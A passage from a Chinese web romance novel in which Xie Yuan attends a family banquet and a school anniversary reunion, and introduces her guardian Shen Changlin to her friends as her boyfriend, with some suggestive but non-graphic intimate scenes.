【沅沅!你听说了吗?咱们上一届那个学长到时候也要来,我去,当时我就感觉他不简单,没想到居然是沈家的那个大少爷!这种霸总我可太行了哈。】
接着就是很多张沈宴白的照片。
有商业报刊的,有他ins上自己发的,还有一些女友视角的照片。
谢沅垂下眸子,慢慢地按着键盘:“那几天我有点事情,可能去不了,你们去吧。”-
谢沅在车上刷了片刻的手机,没多时轿车就停在了温家,她一下车,温怀瑾就接住了她。
他含着笑意,温声说道:“下午好,沅沅妹妹。”
今天的宴会算是私宴,毕竟不是正式订婚,也没那般隆重。
谢沅把屏幕按灭,随着温怀瑾踏着阶梯,向里处走去:“下午好,怀瑾表哥。”
下午的阳光很好。
温怀瑾帮谢沅撑着伞,他姿态从容,话语也似邻家哥哥:“这几天怎么没见你出来玩?都快开学了,还不再玩玩吗?”
他要是不问还好,一问谢沅的记忆就瞬时复苏。
那段夜夜笙歌、每天被沈长凛欺负猫耳和尾巴的日子,她一点也不愿再想起来。
谢沅的脸颊微烫,低声说道:“叔叔给我请了德语老师,最近在家里练习口语,所以才没出来的。”
她的声音轻轻的,眉眼也带着少许羞怯,脸庞上泛着薄粉,像是三月娇嫩的桃花。
谢沅有点害羞,是因为他吗?
温怀瑾微愣了一瞬,轻声说道:“原来是这样。”
谢沅对很多事情都不太敏感,温怀瑾都亲自陪她身边多次,她还没意识到温家是什么意思。
她只是觉得表哥今天的语调有些奇怪,是跟她一样不太舒服吗?
谢沅没好多问,到了待客的大厅后,温思瑜很快将她接过去,她更没有空余去多问。
温思瑜的笑容看起来很明媚。
她的眉眼艳丽张扬,举手投足都是豪门长公主的气场,将身侧明家太子爷的气势都要压过去。
“之前已经见过,”温思瑜笑着说道,“还要跟你再介绍一下,这是我们沈家的妹妹,谢沅谢大小姐。”
明席唇角微扬,笑着说道:“你好,沅沅表妹。”
两人握过手后,温思瑜还是将谢沅带在身边。
她指间掐着细细的高脚杯,饮了少许的酒,杯壁很薄,沾染到了少许的红脂,没由来带着些艳丽的灰败感。
温思瑜一下午都是笑着的,但谢沅却觉得她不太高兴。
谢沅想起之前她问温怀瑾的事,他非让她猜,还只给她一次机会,她思索了好久,才说道:“承月哥知道。”
温怀瑾拊掌大笑,说道:“沅沅真聪明。”
“你承月哥当然知道了,”他挑起眉,“就跟温思瑜知道你和他的事一样,他当然也知道温思瑜和明席的事。”
燕城的圈子和宁城不太一样,联姻的事也更要谨慎。
所以之前的消息都是在暗中流传,并没有摆上过明面,连谢沅都不太知道。
她没多言,只是安静地待在温思瑜身边,陪她一起走完下午的私宴。
温怀瑾几回想把谢沅叫走,温思瑜也没同意。
私宴不算漫长,晚间用完晚餐就差不多了,温思瑜和明席必须要同时用餐,温怀瑾就将谢沅又带走了。
之前她在温家出过事,他们上下都很小心。
谢沅趁机看了眼手机,四点多时,沈长凛给她回了消息。
【沅沅很好看,行程愉快。】
待会儿还有事情,她没有多看,轻轻地把屏幕按灭。
温怀瑾接住谢沅,含笑问道:“发生怎么了?笑得这么开心?”
谢沅摇着头说道:“没什么,怀瑾表哥。”
她有笑得开心吗?走到暗处时,谢沅轻轻用指尖戳了戳唇角,然后悄悄又将指尖放下来。
夜风清凉,将躁意全都带走。
谢沅原本头有些晕眩,在温家待了一下午,反倒渐渐不觉得累了。
路过长廊时,她看向花池里紫色的薰衣草,眼眸亮了起来。
谢沅抬眸,声音轻柔:“我可以拍照片吗,怀瑾表哥?”
温怀瑾知道谢沅喜欢花,特意带她走的这条路,他笑了笑说道:“当然可以,我还可以帮你拍照。”
她总是很不好意思。
但近来跟温怀瑾渐渐熟悉起来,谢沅也没再那般小心翼翼了。
她脸庞含羞,笑着说道:“谢谢你,怀瑾表哥。”
温怀瑾会的东西很多,摄影的水平也不错,他一连帮谢沅拍了十几张,她看到照片时人都惊了:“怀瑾表哥,你拍照太厉害了吧。”
她的眼眸睁得大大的。
温怀瑾笑出声来,谦逊地说道:“是沅沅妹妹生得好看。”
他一边带着谢沅进门,一边状似不经意地问道:“要发社交平台吗,还是想发给某位朋友?”
谢沅可不是常拍照的人。
想到那天跟霍阳的交锋,温怀瑾的眉眼微暗。
谢沅没做分辨,直接全给沈长凛发过去了,她低垂着眼眸,唇角微翘:“发给叔叔的。”
温怀瑾微微顿了一下,轻声说道:“哦——原来是要发给舅舅的。”
他的唇边含笑,笑意却未达眼底,只是谢沅没有留意到。
她把照片都发过去后,还加了一句话:“用完晚餐我就回去啦,叔叔。”
谢沅顺便给沈长凛发了一个表情包,她也不知道叔叔这个年纪的人能不能看懂,只是顺手就发了过去。
须臾,她才想起来那是一个猫猫表情包。
谢沅下意识就要撤回,但时间却已经过了。
她掩耳盗铃立刻把屏幕按灭,然后一直到用完晚餐都没再看一眼。
因为是私宴,重头放在了下午,晚间的这场晚餐用得倒是很简单,悠扬的钢琴曲回荡着,桌案边是高大秾丽的花束。
谢沅执着餐叉,试了试俄餐。
她对西餐吃得不太惯,但偶尔尝一尝,还是很喜欢的。
谢沅很久没有参加一场宴席,她是专门负责用餐的了。
她执着餐叉,一边用晚餐,一边喝果汁,比在家里用晚餐还要更轻松自在。
温怀瑾陪在她身边,唇边的笑意越来越甚。
“这位俄国大厨的水平很高,温伯父很喜欢,”他轻声说道,“不过如果你喜欢的话,可以借你去沈家一段。”
谢沅还在喝水,差些要呛住。
她紧忙用纸巾擦了擦唇角,低声说道:“不用,不用,谢谢你,怀瑾表哥。”
温怀瑾眉眼含笑,轻声说道:“好,好。”
他的神情很明显,温思瑜身边的明席都注意到了,低声问道:“你弟弟在追沅沅妹妹吗?”
但谢沅却分毫都未觉察。
用完晚餐后,宴席差不多就结束了,温怀瑾送谢沅离开。
当看见后座的那个身影时,她匆匆地,柔声说道:“我要先走了,怀瑾表哥,有事情的话,我们下次再说吧。”
说完谢沅就上了车。
司机也很快速,立刻就将轿车启动。
谢沅被沈长凛揽住腰身抱到怀里,她坐在他的腿上,抬眸看向他,眼中带着惊喜:“您怎么亲自过来了?”
她的细腰被扣着,水眸亮亮的,像是有星子在流淌。
沈长凛掌住谢沅的腿根,声音微哑:“当然是怕骚猫猫饿着。”
他一边轻声言语,一边点亮屏幕,给她看那张表情包。
谢沅是这时才发觉,这张猫猫表情包的背景处,有一行小字。
她的脸庞通红,羞得欲死,难得硬气起来,直起身子掩住沈长凛的唇:“你不许再说了。”
第55章
沈长凛有时很温柔,有时又很不好说话。
谢沅坐在他的怀里,已经哭到要压不住声,他还在温声说道:“快说,沅沅,你是我的什么?”
她脸皮薄,透着熟艳的绯红,眼尾也是湿红的,像是秾丽的花朵。
谢沅泣不成声,实在是说不出来方才那个词。
她哭着说道:“你不能……不能这么欺负人。”
沈长凛眉眼温柔,语气却还是那样:“所以沅沅到底说不说?马上就要到家了。”
“你不说也没关系,今天晚上我没什么事,”他轻声说道,“还有的是时间。”
谢沅的长睫被泪水打湿,黏成了一缕一缕的,柔弱地低垂着。
闻言她掀起眼皮,哭得更厉害了,她无力地挣动着,刚想要反抗少许,就被沈长凛又攥住了腰身。
绿色的礼服裙很衬她,就是开衩稍高,莹白笔直的长腿全都露了出来。
谢沅的礼服沈长凛全都过目过。
初选定时,只觉得颜色鲜妍,适合她这个年岁的女孩。
见到谢沅发来的照片时,他才意识到开衩有些太高了。
她稍稍抬腿,腿根的腿环就露了出来,绷住柔软的腿侧嫩肉,将之映照得愈加柔白,宛若凝脂美玉。
谢沅紧咬住樱唇,将泣音也含住。
当沈长凛以为她害羞,说不出来时,她环住他的脖颈,低低地唤道:“我是叔叔的……。”
他的眸色霎时就暗了下来。
谢沅抬起水眸,含羞带怯地看向沈长凛,又细声问道:“可以了吗,叔叔?”
他的指节抚在她的纤腰间,眼底都是晦涩。
但轿车已经停在了门前,外面的天色已经昏黑,弦月高悬,惊鹊停枝。
沈长凛抱着谢沅下车,在她发出惊呼声前,用外衣将她裹在了怀里,虽然是晚上,她还是很害怕,紧紧地攀着他的脖颈,把脸庞也埋在了他的怀里。
莹白的小腿摇晃,在夜色皎如月辉。
沈宴白露台边跟人打电话,一抬眼就对上了沈长凛的视线。
他面露愕然,眼睛也睁大少许,讶异地说道:“叔叔?这——”
在沈宴白的目光落在谢沅雪白的小腿上时,沈长凛的恶欲快到极致,他很想现在就告诉沈宴白,他和谢沅到底是什么关系。
但感知到怀里孩子突然紧绷的身躯,他到底是将黑暗的情绪压了下来。
沈长凛的声音微哑:“沅沅有些不舒服。”
说完,他便没再理沈宴白,直接将人抱到了楼上。
戒指都快要备好,也不差这一时半刻了。
沈长凛眼帘低垂,推开谢沅的房门后,便将人直接抱到了床上,她脸庞泛红,水眸莹润,透着潋滟的光泽。
瞧起来纯真懵懂,却无处不透着蛊人欲色。
谢沅有时候好像很单纯,什么也不懂,但有时候,沈长凛觉得她是明白的,她不会主动,却会勾得人主动。
他低眼看她,薄唇微抿。
卧室里的光线昏暗,只开了床头的壁灯,还没有外间的月色更加明亮。
这也让谢沅的容色看起来更加天真无辜。
沈长凛正欲说什么,有通电话突然打了过来,他看了一眼,并不是什么重要的人,但目光和谢沅对上时,他轻声说道:“想我先处理事情,还是先喂饱你?”
她的乌发披散,落在肩头。
礼服裙是吊带的,露出修长的脖颈和精致的锁骨,连那雪色山岳的起伏都被勾勒少许。
谢沅的眼神是那样懵懂,水色萦绕,好像剔透的宝石。
她的樱唇轻轻抿着,不说话。
沈长凛低笑一声,温声说道:“那我先去处理事情了,沅沅。”
他轻柔地帮谢沅脸侧的乌发捋到耳后,便假意要回身离开,长腿都已迈出,谢沅忽然抬手拉住他的衣袖。
她仰起脸庞,长睫也掀起。
盈着水的清澈眼眸里,是昭然到无可遮掩的渴望。
谢沅直起身子,攀上沈长凛的脖颈,声音微颤,每一个字句都带着明显到不能再明显的蛊惑:“想要叔叔先喂饱我。”
沈长凛血脉里带着冷淡。
但他也知道,爱和欲是相交织、紧密纠缠的一体。
沈长凛低眼看向谢沅,拍了拍她翘起的软臀,声音微哑:“坏孩子。”
她颤了一下,可却将他揽得更紧了。
笔直莹白的长腿分开,环住男人的腰身,连吐息都像是带着兰香,说出来的话却是那样天真可爱:“沅沅不是坏孩子。”
沈长凛往日剔透清浅的眼眸,最深处都被乌黑的恶欲浸染。
他把谢沅抱到落地窗边,哑声说道:“是吗?叔叔要检查的。”-
谢沅第二天没有起得来床,临到十二点时,她才撑着手臂坐起身子,凌乱的记忆像是一场青梦往脑海里面钻。
一想到昨晚意乱情迷时说了什么、做了什么,她的脸庞都透着薄粉。
今天沈长凛要出门,事情很多,又知道谢沅起不来床,没有跟她通电话,只提前给她发了消息。
谢沅扫了一眼屏幕,就把屏幕按灭了。
她的脸上原本透着的是薄粉,看完他发来的消息后,渐渐要烧成熟红。
谢沅感觉七窍都在生烟,腾腾地冒着热气。
她的手指收紧,须臾再度松开,呼吸也调整了好几回,才提起勇气再打开屏幕,跟沈长凛回消息。
【我没有不舒服,叔叔。】
发完消息谢沅又把屏幕给关掉了,她可不想在下一秒接到沈长凛的电话。
好在他这会儿应该还在忙,也没空回她。
谢沅把手机放在床边,匆匆地就洗漱换衣服,准备去楼下用午餐。
昨晚睡得迟,今早也没用早餐,她曾经饱胀的小腹都空空地扁了下来。
谢沅踩着兔子拖鞋,头发也没好好梳,就走下楼梯,全然没有留意到,有一缕头发高高地翘了起来。
到楼下时,她才瞧见沈宴白也在家。
谢沅很后悔,早知道她还是多等一会儿沈长凛的电话了。
沈宴白瞧着像是刚从外面回来,他低垂着眉眼,桀骜的气质被西装压下,竟是有些文质彬彬。
他轻扯了扯领带,饮了少许咖啡,仰头时才发觉谢沅下来了。
沈宴白站起身,看向谢沅,缓和着语气说道:“你过来用午餐吧,我用完了,马上就走。”
他是第一次用这样温和的口吻对她说话。
谢沅却没能感知到暖意,她曾经做梦都希望有朝一日,沈宴白能够温柔待她,可是现在她见到他就觉得害怕。
她低下头,神情有些不自然:“好。”
谢沅的手从扶梯上落下,然后轻轻地走到餐桌旁。
她的乌发浓黑,末梢微微打卷,明明隔了些距离,沈宴白还能闻嗅到那如花朵般馥郁的发香。
他第二次的体检报告还不是很好,最近有在试着戒烟。
沈宴白的烟瘾不是很重,因此戒烟也不是很难,但在谢沅从他身畔走过时,那藏在心底的暗瘾忽然又烧了起来。
他的指节轻动,下意识地就将抽一支烟。
沈宴白克制了片刻,声音微哑:“最近云中校庆,你是不是要回去?如果你介意的话,我可以将那边的邀约退掉。”
他其实没什么话能跟谢沅说。
这么多年来,沈宴白的目光都从未落在家中这个名不副实的妹妹身上,就算有也是厌烦。
谢沅来沈家的第二年,他才知道她是自己考上云中的。
而不是沈长凛给她安排进去的。
只是在将要离开时,沈宴白脑中突然就浮现出了这桩事。
谢沅的性子很柔弱,尤其是对于他,她是很习惯退让的,沈宴白不想去究这有几分是因为他自己,有几分是因为他是沈长凛的侄子。
她很敬重沈长凛。
当初沈宴白说很难听的话,谢沅也从来不多言,并不是因为她性情多温和,更多的是因为他是沈长凛的侄子,是他在沈家的哥哥罢了。
沈宴白以前从来不去细想,现在也渐渐明悟。
这回的事也是一样。
谢沅坐在餐桌前,神情还有些愣怔,须臾才反应过来他在说什么。
她抿着樱唇,摇了摇头:“您不用这样麻烦,哥哥,我到时候有事情……可能不会去参加的。”
谢沅读书时朋友并不多,她性子慢热,到快高三时,方才和同学们熟悉起来。
仅有的那些朋友,后来也大多出国读书,甚至随着父母举家到了国外,逢年过节都不回来。
云中的校庆很盛大,她的朋友们也是难得回来。
如果再错过,以后都不知何时能再见了。
沈宴白以前从不去了解谢沅的生活,就连这些事情,也是前不久听霍阳说的。
霍阳跟他是同一届的,到时也要回去,请他帮着问谢沅有没有空,沈宴白敷衍地应了下来,然后没有跟谢沅提起过一回。
沈宴白能感觉到,谢沅对他还是抗拒。
他低下眼帘,没有再说,轻声说道:“那你用午餐吧,我今天忙,估计要凌晨才能回来。”
沈宴白不想再吓到谢沅。
他放柔语调,跟她低声言语:“昨晚要是没睡好,今天好好休息一下吧。”
沈宴白不知道谢沅是因何睡得迟,跟她说完后,便起身离开。
她坐在餐桌前,长睫垂落,到底是没有多言。
谢沅是个很有礼貌的孩子,沈长凛把她教养得很好,她性格温善,沉默少语,待人总是很真诚。
沈宴白知道她全心全意对一个人时,是什么模样。
但他也知道,以后他或许是再不能得到谢沅的笑颜了。
沈宴白离开后,谢沅才执起餐叉,炙烤好的小牛肉喷香扑鼻,鲜嫩流汁,外面的玫瑰花也很好看,在阳光下随风摆动,摇曳生辉。
她低下眸子,不再去多想。
谢沅今天没什么事,用完午餐后就回了楼上。
沈长凛今天的事情多,还没有打来电话,但是之前的那位设计师发来了消息,沈长凛之前准备给谢沅定制戒指,让她看了好几版修改过的设计图。
他审美好,每次挑选的衣裙和饰品都是最合适的。
谢沅对这些东西一窍不通,也不明白沈长凛这次为什么非要她自己选。
她看向设计师发来的实物图,只觉得好看,根本想不出任何要改进的地方,慢慢地敲屏幕上的键盘。
【我觉得没有问题了,阿兰先生。】
反正沈长凛还会再看的,谢沅哪怕什么都看不出,也没有任何问题。
【好的,祝您和沈总生活愉快一切顺利,谢小姐。】
然后是两个笑脸和爱心的表情。
这句话乍一看好像没什么问题,因为设计师都是沈长凛请的,然后戒指是给谢沅准备的,但不知道为什么,她越来越觉得不对。
但到底哪里不对,她也说不出来-
时间过得飞快,谢沅这几天都在家里待着。
沈长凛和沈宴白整日早出晚归,她于是又开始坐在露台的秋千吊椅里,继续看海德格尔。
谢沅本来已经看了许多,但自从去瀛洲后,就一直是断续地在看。
现在一翻前面,差些要忘了讲的是什么。
谢沅翻着书册和笔记本,理着思路往下继续读,又把进度渐渐追了上来。
与此同时,云中的校庆也要近了,余温跟她发消息,一直在发大疯。
【到底怎么回事啊啊啊,为什么学长又不来了!霸总也不能这么忙吧?云中百年校庆呢,这么知名的校友不过来,不合适吧!】
谢沅想到沈宴白之前说过的话,指节微顿。
片刻后她又想到,他跟叔叔最近都很忙,或许是真的没有时间过来。
那她要不要过去呢?
高中时的朋友难得归国一趟,早先就跟谢沅发消息,说到时一定要见到她,余温也一直在说,要她过去,不然就要去她家来找她。
要不还是过去吧?
谢沅撑着下颌,笔尖轻点了点纸张,最后还是应了下来。
她不是知名校友,也不是特邀嘉宾,只是一个普通的同学,所以那一日的清晨,她没有做过多打扮,也没有做过多准备。
谢沅穿着简单的白T和牛仔裤,比出去玩还要更随便。
她的头发束了起来,看起来和高中生也没差太多。
毕业后大家各奔东西,天南海北地读书,都是多年没见,等到庆典结束后,还要再聚一聚。
谢沅同班的朋友不是太多,本来不打算参与,余温非要把她拽过去:“那你来我们班呀。”
她拗不过余温,连声说:“好吧,好吧。”
九月的晴天,天空湛蓝如洗,一缕阴霾的迹象都寻不到。
谢沅想到人可能会很多,没有想到人会这么的多,除了人就是各式各样的豪车,有一辆宝石蓝色的跑车格外打眼。
她不懂车,但跟着霍阳耳濡目染,也能感觉到价格不菲。
燕城的权贵众多,年纪轻些的公子哥,多少都挺喜欢玩车的。
不过这样炫酷的跑车,谢沅也觉得极是少见,她正凝眸盯着时,车里的人突然走了出来,然后径直向着她过来。
青年摘掉墨镜,露出一张熟悉的面孔。
他扯唇一笑,轻声说道:“好久不见呀,小谢妹妹。”
谢沅愣怔片刻,下意识地应道:“好久不见,霍阳哥。”
她跟霍阳认识得迟,高中毕业后再瀛洲的那个暑假,才跟他熟悉起来。
谢沅差些都忘了霍阳也是云中的,他跟沈宴白是同班的同学,她合该叫他一声学长的。
门前人很多,在霍阳走过来后,许多人的目光都盯了过来,因为他那辆跑车实在是太扎眼了,就是让人想不看见都难,已经有人在拍照识图。
那回在天行山分别后,两人好久没见过。
谢沅交际少,就常跟温思瑜一起,霍阳这边的场子又不适合叫她过来,原本有些玩的时,可以偶尔请她过来的。
但之前的事后,霍阳也没那个胆量,在沈长凛的眼皮子底下叫人。
所以他先前才一直旁敲侧击,请沈宴白帮忙问问谢沅。
沈宴白最近忙,没给答复,真没想到啊,他俩竟然这么有缘,一见面就撞上了。
于是认识的人都看得到,向来随性浪荡、眼高于顶的霍家大少爷,把那个穿着白T牛仔裤的乖软女孩,像带崽子似的护在了身边。
偏生那姑娘还有些不情愿。
“我约了同学的,霍阳哥。”她细声说道,“她马上要过来了,我们待会儿再聊吧。”
谢沅抬起眼眸,看向霍阳:“有空了,我给你发消息,行不行,霍阳哥?”
这都是说辞,她一天的行程都被余温安排好了,根本没有霍阳插足的余地。
但谢沅这双眼眸很能骗得过去人。
她不会说谎话,也很少说谎话,所以偶尔说谎,往往都没人会觉察。
霍阳知她向来低调,不喜欢在人前太显着,只得将人放走。
好在余温来得够快,一瞧见她,谢沅就立刻小跑着过去,她的打扮太简单了,余温拍了拍她的肩膀:“我照着定位找你半天,都没瞧见,刚刚看你背影,还以为是高中生。”
谢沅长得没有很幼态,但瞧着就嫩生生的,一副年岁不大的样子。
再配上简单的服装,学生气便更浓重了。
谢沅笨拙地转移话题:“你别难过,我看了,虽然那个学长来不了,但还有另一个学长会来,也很有名气。”
“我当然知道会有很多有名气的学长过来呀!”余温比划着说道,“可是那些老学长都什么年纪了,哪里能跟咱们前校草比呀?”
“那些叔叔都是企业家,”她遗憾地说道,“像沈学长这样,才是霸总!”
谢沅这几天看余温消息,对这些话听得要耳朵生茧。
她轻轻地“嗯”,然后给沈长凛发消息。
【我已经到学校了,现在跟朋友在一起,叔叔。】
沈长凛忙,最近连给谢沅回消息、通电话的时间都要抽不出来,不过他也没再折腾她。
他总回来得很晚,她都困得要睡着。
某一次突然从梦里睡醒,谢沅才突然发现沈长凛回来了,他轻吻着她的脖颈,长腿抵在她的腿间,把她整个人都抱在了怀里。
就是有空,他也没太欺负她,只是温柔地吻她。
——吻过每一寸的雪肤。
但谢沅还是会乖乖给沈长凛发消息,让他看到以后能放心。
余温看到却再度露出那种看透一切的表情,她扬着唇角:“沅沅你肯定是有情况了。”
“你先别反驳!”余温不等谢沅说话,就立刻说道,“要我把你刚才的表情给画出来吗?你自己看看,到底有多像热恋中的女人。”
谢沅经不起逗弄,脸庞透着薄粉。
她细声说道:“真的没有。”
“别急,我夜观天象,”余温看她这神情,兴致更甚了,“那人最多不出两周,就一定要给你表白。”
余温非常能说话,像机关枪似的说个不停。
谢沅找不到解释的空隙,索性低眸不说话了。
两人一起向着礼堂走去,云中的大礼堂非常的大,而且十分奢美,和燕大的相比都没差到哪里去。
走近以后,谢沅之前的朋友也刚巧过来。
几人好久没见,紧紧地拥在一起,然后又一同参与的典礼。
临到中午时,众人又争执起来,谢沅没打算参加她自己班的活动,毕竟好多人她都不认得,但是朋友们过来后,便很想把她也带过去。
而余温早跟人说好,要把谢沅带到自己那边的。
一直到了酒店,都还没有结果。
谢沅站在长廊里,听着余温舌战群儒,彻底放弃了决断,准备等她们谁吵赢就去谁那边。
星级酒店铺着厚的花格地毯,走廊里也摆着高大的花束。
谢沅靠在窗边吹风。
忽然有侍者过来,说是有人请谢小姐过去一趟。
谢沅一时之间有些懵然,轻声说道:“是霍先生吗?麻烦您转告他一下,我还有事,晚些时候会跟他联系。”
她话音刚落,抬眸就看见了李特助的身影。
他含着笑意,温声说道:“小姐,是先生想请您过去。”
谢沅愣怔片刻,倏然想起沈长凛的行程,他今天好像也是在这里谈事情来着。
她的脸庞微红,应道:“我现在就过去,李叔叔。”
谢沅跟着李特助过去,沈长凛这两天很忙,他又早出晚归的,他们明明生活在一起,却也有些时候没见了。
云中这回好多班级都在聚,到处都是曾经的同学。
附近的包厢全是人。
沈长凛待会儿还有事情,只能短暂见谢沅一面。
男人的气质矜贵,哪怕坐在微暗屏风后的沙发上,也很引人瞩目,被他抱在腿上低吻时,谢沅蓦地生出一种禁忌感。
她读书时从没早恋过,却在这时候生出类似的澎湃。
心口里有什么东西被连日地浇灌,快要冒出芽来。
沈长凛掐着谢沅的腰身,把人按在怀里,轻吻她的樱唇,向来从容淡漠的人,声音都带着哑意:“今晚跟我一起出去用晚餐。”
他的眼眸低垂,轻轻看向她。
谢沅坐在沈长凛的腿上,吐息还有些乱,低低地“嗯”了一声。
好久没亲近,一个吻哪里够?
等事情忙完,晚间他要全讨回来。
谢沅一点也不懂老男人的坏心思,攀上他的脖颈,声音细柔:“那我等您。”
她正说着,屏风之后忽然传来了朋友们的声音:“刚刚那个侍应生说,沅沅就是到这边了呀?”
谢沅是真的没有早恋过,她甚至没有恋爱过,一点应对经验也没有。
身躯绷得紧紧的,脸庞也越来越红,像是害怕被老师发现一般。
沈长凛眸色微暗,又吻了吻谢沅的唇瓣。
他揽着她的腰身,声音很轻:“在家里不能公开,那在朋友们面前,总可以介绍一下我了吧?”
第56章
沈长凛身形高挑,将谢沅抱在腿上亲吻时,她几乎寻不出任何挣动的空间。
胸腔里的心脏在剧烈地跳动着。
他身上微冷的雪松暗香,无声息地涌进她的肺腑里,让她的思绪越来越乱。
沈长凛吻了吻谢沅的额头,指节扣在她的腰间,低声说道:“这么久了,沅沅,给叔叔个名分吧?”
他的声音很轻,柔得像风一样。
没有任何的逼迫意味,全都是宠溺和纵容,那双色泽稍浅的眸里也尽是类似的温柔情绪。
谢沅蓦地便想起那枚华美精致的戒指。
她的脸庞滚烫,湿润的眼尾也透着秾丽的绯色,像是熟透的馥郁花朵。
“嗯……”谢沅的声音细得像蚊吟一样,沈长凛却听得清晰。
他本就生得俊美,闻言唇角轻轻扬起,浅色的眼眸里也摇曳暗光,几乎带着些惊心动魄的意味。
沈长凛温声说道:“好。”
他牵着谢沅的手站起,指节轻掠过她的纤腰,带着她从屏风后走了出来。
余温跟谢沅的朋友们争执许久。
两边好不容易吵完,准备跟谢沅言说时,才发现人不见了。
谢沅的朋友对她的性子很了解,捧着脸庞说道:“完啦,沅沅不会迷路了吧?”
酒店是封闭空间,就是迷路也不会迷太远。
余温唇角抽搐,她还以为谢沅高中时多少会懂得照顾自己些呢,没有想到谢沅从小到大都是这个样子。
她随着众人一起找谢沅,果不其然,谢沅只是往楼上走了。
谢沅性子很闷,但不知怎的,特别容易招惹到人。
刚刚余温过来时,就瞧见谢沅是跟那个豪车的车主在一起的,她为人非常低调,平时的打扮也没有太讲究。
可气质是遮掩不了的。
余温心想是不是方才那个帅哥,又把谢沅给叫走了。
她正准备给谢沅打电话时,谢沅忽然从屏风后走了出来,她的脸庞泛红,眼尾也透着湿红,像是刚刚被人给弄哭。
陪在她身边的男人语调温柔,轻声哄着她:“不哭了,沅沅。”
他一身高定西装,高挑俊美,气度矜贵,哪怕是温声细语,那强大的气场也会令人生惧。
余温跟着她父亲见过些大人物。
可那些自诩万人之上的人,也全然没有眼前男人这种可怕的气度。
说着是掌握旁人的生杀予夺,多么高高在上,但在谢沅身畔男人的跟前,全都跟闹着玩似的。
余温定在原处,一时之间向来多话的她,脑中是阵阵的空白。
那男人的容色却很温和,看向她们时的眼神也是和柔的,他轻声说道:“今天麻烦你们照顾沅沅了。”
他的唇边含着淡笑,眼眸的颜色稍浅,蕴着暗光。
可就是这么一张俊美到令人屏息的脸庞,也盖不住那常年身居高位、养尊处优而蕴出来的压迫感。
再蠢笨的人,在见到他时,也能觉察出这是一个怎样位高权重的上位者。
但向来沉默寡言的谢沅,在他身边时,却带着于旁人面前从未有过的安然,甚至有些微弱的娇气和任性感。
就好像是早已习惯了男人的疼爱和宠溺。
她和男人微微拉开距离,脸庞泛着薄红,还是有些不好意思:“这是……这是我的男友。”
只是说完这句话,谢沅就感觉她用完了所有的勇气。
沈长凛低笑一声,语调温雅:“鄙姓沈,初次见面,幸会。”
众人皆是面露愕然,震惊之余,纷纷应和道:“您好,您好。”
他事情那么多,这会儿倒是有空跟她的朋友们打招呼了。
谢沅的耳根都是红的,她捏了捏沈长凛的手指,羞怯地说道:“您待会儿不是还有事情吗?”
他低眼看她,眸里也含着笑意:“好,我马上就走。”
谢沅的脸皮太薄,光是在朋友们面前介绍他,耳尖就已经从嫩嫩的浅粉色变成了深红。
沈长凛没再逗弄她,轻声说道:“祝你们玩得愉快。”
他离开后,紧张着的众人才缓过气来,余温上前,平复着心绪说道:“沅沅,你可真是不鸣则已,一鸣就鸣了个大的呀!”
谢沅之前的朋友们也立刻将她给围住。
“快说实话,沅沅。”众人的眼里都是好奇,“你男友是什么来头呀?你们什么时候在一起的?”
谢沅被她们围在中间,本来就不善言辞的姑娘,更加不知道要怎么答话。
她笨拙地转移话题:“你们想好了吗?我要去哪边呀?”
她们争执出来的结果是,先让谢沅去自己同学这边,然后再去余温这边,可现在却变成了,众人先全都跟着谢沅去她这边,然后再一起去余温这边。
谢沅被众人压着问话,耳尖的热意许久都没退下去。
“他没有很厉害,就是工作很忙,经常要出去。”她细声说道,“也是要上班的人。”
谢沅执着筷子,刚想去夹菜,余温就已经把她看上的小肉排,用公筷夹到了她的唇边:“吃完快继续!”
她咬着糖醋小排,感觉脑细胞都快要烧完了。
“他是在国外读的书,”谢沅绞尽脑汁地想着,“我也不知道他是学什么的,应该是金融来着。”
“我们认识很久了,”她继续说道,“第一次见面?是在一家医院里。”
宴席转眼过半,众人要转场到隔壁。
谢沅是个沉静少言的人,她读书时的朋友们却都很能言语,明明是去余温那边,见不太熟悉的同学,众人也聊得很热络,总算没再逼问谢沅。
她松了口气,借口去洗手间,到外面吹风。
谢沅站在露台边,有微凉的风拂过她的面庞,她脸上的热意也渐渐地降下来。
她在这边吹风,不久后之前的一位朋友也过来了。
谢沅读书时的朋友性子大都外放,强将她拉入到圈子里,只有这位朋友跟她很像,也是安静的性子。
朋友抿着唇,轻声说道:“真没想到,沅沅也交男友了。”
云中这次校庆,将有些多年未见的老同学都凑到了一起,到处都很热闹喧嚷。
只有轻纱薄帘后的露台边,能稍有些寂静。
就是不远处有少许压得很低的争吵声,似乎是情侣在吵架。
谢沅温度降下来的脸庞,又微微泛红,她低低地说道:“嗯。”
“是你暗恋了好多年的那个哥哥吗?”朋友笑得很温柔,“他跟你说得好像不太一样,瞧着一点也不桀骜,我都想不出他曾经是讨厌你的。”
暗恋是藏不住的。
谢沅瞒过了身边所有人,这么多年来,都没人想得到她是喜欢沈宴白的。
却唯独没能瞒过这个曾经和她做同桌的温柔女孩。
少女的心事压在胸腔的深处,如果一直憋闷着,也难受得厉害。
只有这个朋友知道这桩事,不过谢沅只告诉她是家里的哥哥,机敏如她也没有猜出那个哥哥就是学校的风云人物沈宴白。
谢沅低着眸,含羞地摇了摇头:“不是。”
四周不知何时安静了下来,方才那对争吵的男女也无声起来。
当微凉的风吹起露台边的素白轻纱,目光和那个容色僵硬的男人对上视线时,谢沅才明白周遭为何会突然这样安静。
沈宴白神情愣怔,抬眼看向她。
无论何时都从容随性的人,这一刻却像是不会言语了一样。
沈宴白说过这回的校庆不会过来,余温也说他这次来不了了。
清晨天还没亮,沈宴白就从家里离开,谢沅以为他有很要紧的事情要忙。
她的神情恍惚,怎么也没想到会在这时候见到他。
当目光偏移,看到沈宴白身畔一身白裙的明愿时,谢沅才倏然明悟过来。
他说不会参加庆典,可是他没有说不参加与昔日同学的聚会。
沈宴白和明愿是同班同学,当初那场盛大的示爱就是在他们的升学宴上,都过去那么些年,还有一群人都记得,足以证明那个场景多令人难忘。
他身边人来人往,从来都没有个定数。
可对待明愿,沈宴白是想到过未来的,他带她到沈家,带她参加圈子里的聚会。
有人瞧不上眼她,还有他曾经的女友刁难她,他也全帮她给挡住。
沈宴白桀骜不驯,对朋友却很宽容慷慨,可是为了明愿,他跟一起长大的朋友断交,再不允对方出现于自己在的场合。
分手的时候,他那么不甘心。
谢沅一辈子都忘不了,沈宴白喝得胃出血的那个夜晚,她是怎么哭着拨的急救电话。
他不甘心,他也没放下。
明明公事那样繁忙,沈宴白却还是来了,并且刚好在和心中白月争吵时,听到家里妹妹暗恋他多年的秘闻。
他一直以来,对谢沅都是那么看不上眼。
就是近来,也不过因为身边空寂,方才生出了些许掠夺的欲念。
